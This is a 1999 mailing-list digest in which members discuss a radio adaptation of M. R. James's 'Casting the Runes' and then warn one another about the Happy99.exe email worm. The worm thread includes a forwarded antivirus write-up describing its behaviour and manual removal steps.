Date: Wed, 17 Feb 1999 16:04:42 -0800 (PST) From: Jack Kolb <KOLB(at)UCLA.EDU> Subject: Casting the Runes I'm assuming that I'm not alone in this group in confessing my addiction to the rebroadcasting (in L.A. on the CBS News station KNX) of old radio dramas. I was recently delighted to catch one broadcast in the series "Escape": an adaptation of M. R. James' "Casting the Runes." I'm about to reread the story to see how well it was adapted. Unfortunately I didn't get to tape it, but I imagine it might ultimately be repeated. Amusingly, the KNX program guide lists the title as "Casting the Ruins." Sigh. Jack Kolb Dept. of English, UCLA kolb(at)ucla.edu
===0===
Date: Wed, 17 Feb 1999 18:38:12 -0800 From: "Robert T. Eldridge" <rfx(at)earthlink.net> Subject: Re: Casting the Runes Jack Kolb wrote: > > I'm assuming that I'm not alone in this group in confessing my addiction to > the rebroadcasting (in L.A. on the CBS News station KNX) of old radio > dramas. I was recently delighted to catch one broadcast in the series > "Escape": an adaptation of M. R. James' "Casting the Runes." I'm about to > reread the story to see how well it was adapted. Unfortunately I didn't get > to tape it, but I imagine it might ultimately be repeated. Amusingly, the > KNX program guide lists the title as "Casting the Ruins." Sigh. > > Jack Kolb > Dept. of English, UCLA > kolb(at)ucla.edu I'm with you, Jack. I still mourn the loss of CBS Radio Mystery Theater, which used to broadcast in LA on KNX. Hyman Brown, the producer/director of the show, was one of the last of the old pros from golden age radio. I interviewed him once on the phone for a story that never got written or published; he was an interesting and impressive man, not surprising given the quality and breadth of his show. Does anyone out there know what the status of those shows is? I assume he's not still working, but I wonder if any stations around the country are re-broadcasting the show; or whether the shows are sold on cassette. Bob Eldridge
===0===
Date: Wed, 17 Feb 1999 20:48:55 -0600 From: Marta Dawes <smdawes(at)home.com> Subject: Re: Casting the Runes I've been trying to find these for years. They aren't for sale; an OTR person told me just last week that CBS is rationalizing not selling them by thinking they'll increase in value. However, there is a big OTR trading base that will either rent or copy them for you. Do a search on the internet for OTR (old time radio), and look for trading clubs. The quality isn't the best, but just to hear these again is great. Marta "Robert T. Eldridge" wrote: > > Jack Kolb wrote: > > > > I'm assuming that I'm not alone in this group in confessing my addiction to > > the rebroadcasting (in L.A. on the CBS News station KNX) of old radio > > dramas. I was recently delighted to catch one broadcast in the series > > "Escape": an adaptation of M. R. James' "Casting the Runes." I'm about to > > reread the story to see how well it was adapted. Unfortunately I didn't get > > to tape it, but I imagine it might ultimately be repeated. Amusingly, the > > KNX program guide lists the title as "Casting the Ruins." Sigh. > > > > Jack Kolb > > Dept. of English, UCLA > > kolb(at)ucla.edu > > I'm with you, Jack. I still mourn the loss of CBS Radio Mystery Theater, > which used to broadcast in LA on KNX. Hyman Brown, the producer/director > of the show, was one of the last of the old pros from golden age radio. > I interviewed him once on the phone for a story that never got written > or published; he was an interesting and impressive man, not surprising > given the quality and breadth of his show. Does anyone out there know > what the status of those shows is? I assume he's not still working, but > I wonder if any stations around the country are re-broadcasting the > show; or whether the shows are sold on cassette. > > Bob Eldridge
===0===
Date: Wed, 17 Feb 1999 21:54:59 -0500 From: "James E. Kearman" <jkearman(at)gate.net> Subject: CHAT: Viruses Bob Champ wrote: >The best > preventative is not to download any message from someone you don't know. > I think what Bob means is, don't "run" any attached files if you don't know what they are. If your setup is like mine, your email program automatically downloads messages when you go online. I received Margaret's message with the HAPPY.EXE file attached and deleted it immediately. Sometimes attached .EXE files are little animations, or they may play a song. In this case, the program (.EXE files are programs) is allegedly a virus. I was tempted to run it, and I'm glad I didn't. Bob did everyone a favor by pointing out that it was indeed a virus. I hope no Gaslighters ran it. (If you did, tell us if it was indeed a virus, if your program still runs.) Downloading the email with an attached virus is like receiving a pathological virus in a sealed test tube. Clicking on the icon for HAPPY.EXE should result in a query from your computer, asking if you want to SAVE the file or OPEN it. If you select OPEN you actually cause the program to run, thus uncorking the test tube and allowing the virus to infect your computer. Some computer viruses are relatively benign, others can wreak havoc with other programs and data you have stored on your computer's hard drive. The only protection is to never open such a file unless you are positive it is safe to do so. Someone may send you an email with an attached file; this is an efficient way to transfer a story, for example. Rather than have the entire story displayed on your screen, you can open and read it later. I might send you an attached file in Microsoft Word or HTML format, for example. Such files would have extensions of .DOC and .HTM respectively. Any file with an extension of .EXE or .COM (another type of program) should be suspected unless the sender is someone you know and trust, and the text of the email indicates that the sender intentionally attached the program and explains what it is. This particular virus may be one that automatically attaches itself to all email the infected computer sends, thus replicating itself and spreading the damage, just like a pathological virus. Margaret inadvertently spread the virus by sending email. In this case, the possible damage was greatly increased because her single email was received by hundreds of Gaslight readers. In 10 years on the Internet I have never had a virus infection on a computer; in fact, this is the first time I'm aware of receiving what may be a virus. Knowing what to look out for and taking the precaution of never running an attached program without knowing what it is should protect you. Virus-checking programs can be used to inspect a suspected .EXE file *BEFORE* you run it, but viruses are being created at an alarming rate--hundreds per week--so the manufacturers of the checking programs can't keep them up to date. Your virus-checking program may not recognize a virus, so they aren't foolproof. I don't use such a program anymore, preferring to simply observe the precautions I have described. I opened Margaret's mail just before reading Bob's, and simply deleted hers, because I didn't know what HAPPY.EXE was and I didn't want to take the chance. Cleaning up after a virus infection on your computer is very tough, and you may lose a great deal of data forever. I second Bob's thoughts about the people who create these viruses. Cheers, Jim - ------------------------------------- James E. Kearman mailto:jkearman(at)iname.com http://www.gate.net/~jkearman Between what I see and what I say Between what I say and what I keep silent Between what I keep silent and what I dream Between what I dream and what I forget: Poetry. Octavio Paz ?
===0===
Date: Wed, 17 Feb 1999 21:02:49 -0600 From: Marta Dawes <smdawes(at)home.com> Subject: Re: CHAT: Viruses I ran it; and then had to clean my PC with a virus program. It was infected, but the virus program cleaned it just fine. Marta "James E. Kearman" wrote: > > Bob Champ wrote: > > >The best > > preventative is not to download any message from someone you don't know. > > > > I think what Bob means is, don't "run" any attached files if you don't know > what they are. If your setup is like mine, your email program automatically > downloads messages when you go online. I received Margaret's message with > the HAPPY.EXE file attached and deleted it immediately. Sometimes attached > .EXE files are little animations, or they may play a song. In this case, the > program (.EXE files are programs) is allegedly a virus. I was tempted to run > it, and I'm glad I didn't. Bob did everyone a favor by pointing out that it > was indeed a virus. I hope no Gaslighters ran it. (If you did, tell us if it > was indeed a virus, if your program still runs.) > > Downloading the email with an attached virus is like receiving a > pathological virus in a sealed test tube. Clicking on the icon for HAPPY.EXE > should result in a query from your computer, asking if you want to SAVE the > file or OPEN it. If you select OPEN you actually cause the program to run, > thus uncorking the test tube and allowing the virus to infect your computer. > Some computer viruses are relatively benign, others can wreak havoc with > other programs and data you have stored on your computer's hard drive. The > only protection is to never open such a file unless you are positive it is > safe to do so. > > Someone may send you an email with an attached file; this is an efficient > way to transfer a story, for example. Rather than have the entire story > displayed on your screen, you can open and read it later. I might send you > an attached file in Microsoft Word or HTML format, for example. Such files > would have extensions of .DOC and .HTM respectively. Any file with an > extension of .EXE or .COM (another type of program) should be suspected > unless the sender is someone you know and trust, and the text of the email > indicates that the sender intentionally attached the program and explains > what it is. This particular virus may be one that automatically attaches > itself to all email the infected computer sends, thus replicating itself and > spreading the damage, just like a pathological virus. Margaret inadvertently > spread the virus by sending email. In this case, the possible damage was > greatly increased because her single email was received by hundreds of > Gaslight readers. > > In 10 years on the Internet I have never had a virus infection on a > computer; in fact, this is the first time I'm aware of receiving what may be > a virus. Knowing what to look out for and taking the precaution of never > running an attached program without knowing what it is should protect you. > > Virus-checking programs can be used to inspect a suspected .EXE file > *BEFORE* you run it, but viruses are being created at an alarming > rate--hundreds per week--so the manufacturers of the checking programs can't > keep them up to date. Your virus-checking program may not recognize a virus, > so they aren't foolproof. I don't use such a program anymore, preferring to > simply observe the precautions I have described. I opened Margaret's mail > just before reading Bob's, and simply deleted hers, because I didn't know > what HAPPY.EXE was and I didn't want to take the chance. Cleaning up after a > virus infection on your computer is very tough, and you may lose a great > deal of data forever. > > I second Bob's thoughts about the people who create these viruses. > > Cheers, > > Jim > > ------------------------------------- > James E. Kearman > mailto:jkearman(at)iname.com > http://www.gate.net/~jkearman > > Between what I see and what I say > Between what I say and what I keep silent > Between what I keep silent and what I dream > Between what I dream and what I forget: > Poetry. > > Octavio Paz > >
===0===
Date: Wed, 17 Feb 1999 22:50:37 -0500 (EST)
From: Robert Champ <rchamp(at)polaris.umuc.edu>
Subject: More Happy99.exe info
A friend of mine on another list just sent me the following concerning
the Happy99.exe file.
Bob C.
> Happy99.Worm
> VirusName: Happy99.Worm
> Aliases: Trojan.Happy99, I-Worm.Happy
> Likelihood: Common
> Region Reported: US, Europe
> Keys: Trojan Horse, Worm
>
> Description:
> This is a worm program, NOT a virus. This program has reportedly been
> received through email spamming and USENET newsgroup posting. The file is
> usually named HAPPY99.EXE in the email or article attachment.
>
> When being executed, the program also opens a window entitled "Happy New
> Year 1999 !!" showing a firework display to disguise its other actions.
The
> program copies itself as SKA.EXE and extracts a DLL that it carries as
> SKA.DLL into WINDOWS/SYSTEM directory. It also modifies WSOCK32.DLL in
> WINDOWS/SYSTEM directory and copies the original WSOCK32.DLL into
> WSOCK32.SKA.
>
> WSOCK32.DLL handles internet-connectivity in Windows 95 and 98. The
> modification to WSOCK32.DLL allows the worm routine to be triggered when
a
> connect or send activity is detected. When such online activity occurs,
the
> modified code loads the worm's SKA.DLL. This SKA.DLL creates a new email
or
> a new article with UUENCODED HAPPY99.EXE inserted into the email or
article.
> It then sends this email or posts this article.
>
> If WSOCK32.DLL is in use when the worm tries to modify it (i.e. a user is
> online), the worm adds a registry entry:
>
>
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunOnce=SKA.EXE
>
> The registry entry loads the worm the next time Windows start.
>
>
> Removing the worm manually:
>
>
> delete WINDOWS/SYSTEM/SKA.EXE
> delete WINDOWS/SYSTEM/SKA.DLL
> replace WINDOWS/SYSTEM/WSOCK32.DLL with WINDOWS/SYSTEM/WSOCK32.SKA
> delete the downloaded file, usually named HAPPY99.EXE
>
> Safe Computing:
>
>
> This worm and other trojan-horse type programs demonstrate the need to
> practice safe computing. One should not execute any executable-file
> attachment (i.e. EXE, SHS, MS Word or MS Excel file) that comes from an
> email or a newsgroup article from an unknown or a untrusted source.
>
>
>
> Norton AntiVirus users can protect themselves from this worm by
downloading
> the virus definitions updates released on Jan 28, 1999 or later either
> through LiveUpdate or from the following webpage:
> http://www.symantec.com/avcenter/download.html
>
>
>
> Write-up by: Raul K. Elnitiarta
> January 28, 1999
_________________________________________________
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Robert L. Champ
rchamp(at)polaris.umuc.edu
Editor, teacher, anglophile, human curiosity
Whatever things are pure, whatever things are
lovely, whatever things are of good report, if
there is any virtue and if there is anything
praiseworthy; meditate on these things
Philippians 4:8
rchamp7927(at)aol.com robertchamp(at)netscape.net
_________________________________________________
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
===0===
Date: Wed, 17 Feb 1999 23:39:15 -0500 From: "James E. Kearman" <jkearman(at)gate.net> Subject: RE: More Happy99.exe info Bob C. forwarded: > > This worm and other trojan-horse type programs demonstrate the need to > > practice safe computing. One should not execute any executable-file > > attachment (i.e. EXE, SHS, MS Word or MS Excel file) that comes from an > > email or a newsgroup article from an unknown or a untrusted source. Mistrust any information from someone posing as an expert. In my previous posting I stated that Microsoft Word files attached to email could be safely opened. After reading the above I reflected on that statement and realized that Word files can contain "macros," which are little programs that turn the file into a form a user can fill out. A malicious person can disguise a virus or worm as a Word (or Excel) macro, and this has been done. Microsoft has an update for Word to deal with this very problem. The information that Bob posted is accurate and that part of my previous posting was incorrect. On my behalf, I will state that whenever I offer to forward articles and I attach them to email, I attach 'text' files, so they can be read by any word processing program. To my knowledge, no miscreant has yet figured out a way to stick a virus in a text file. Thanks again, Bob. Cheers, Jim ------------------------------ End of Gaslight Digest V1 #44 *****************************